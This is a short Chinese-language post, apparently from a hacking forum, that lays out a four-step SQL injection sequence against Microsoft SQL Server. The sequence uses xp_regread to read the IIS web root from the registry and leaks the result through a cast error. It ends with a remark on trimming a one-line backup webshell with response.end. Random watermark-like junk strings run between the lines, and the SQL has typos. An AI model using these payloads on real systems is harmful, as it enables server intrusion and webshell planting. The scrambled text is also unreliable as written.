1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
6 P ]- S2 B, Y, F( v! I0 m2 r- ^1 ^3 i5 E1 z+ @8 D! z# O
5 c# V" s: P2 y: ?6 C; J ?1 | 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中$ K! _9 ?$ R) l7 }0 ^
( _# \. x- Z9 ^$ V2 z2 ^
7 _( `# z- x1 V$ ? 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段6 g( y8 C' |1 _" e' {7 O
. Q2 E2 C) H7 U4 d
5 J$ u3 _7 d0 m7 Y: w/ @ 4、drop table [jm_tmp]-- 删除此表。
% k4 P8 j1 l' V2 L% | N# q9 x y5 z5 G& o) |& O) U
& {% b) ?' P2 G" Q$ ~
另附上备分专用一句话
; F2 D) |3 e1 X8 A7 f) Z 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
/ X2 w1 s) }! b/ C1 F |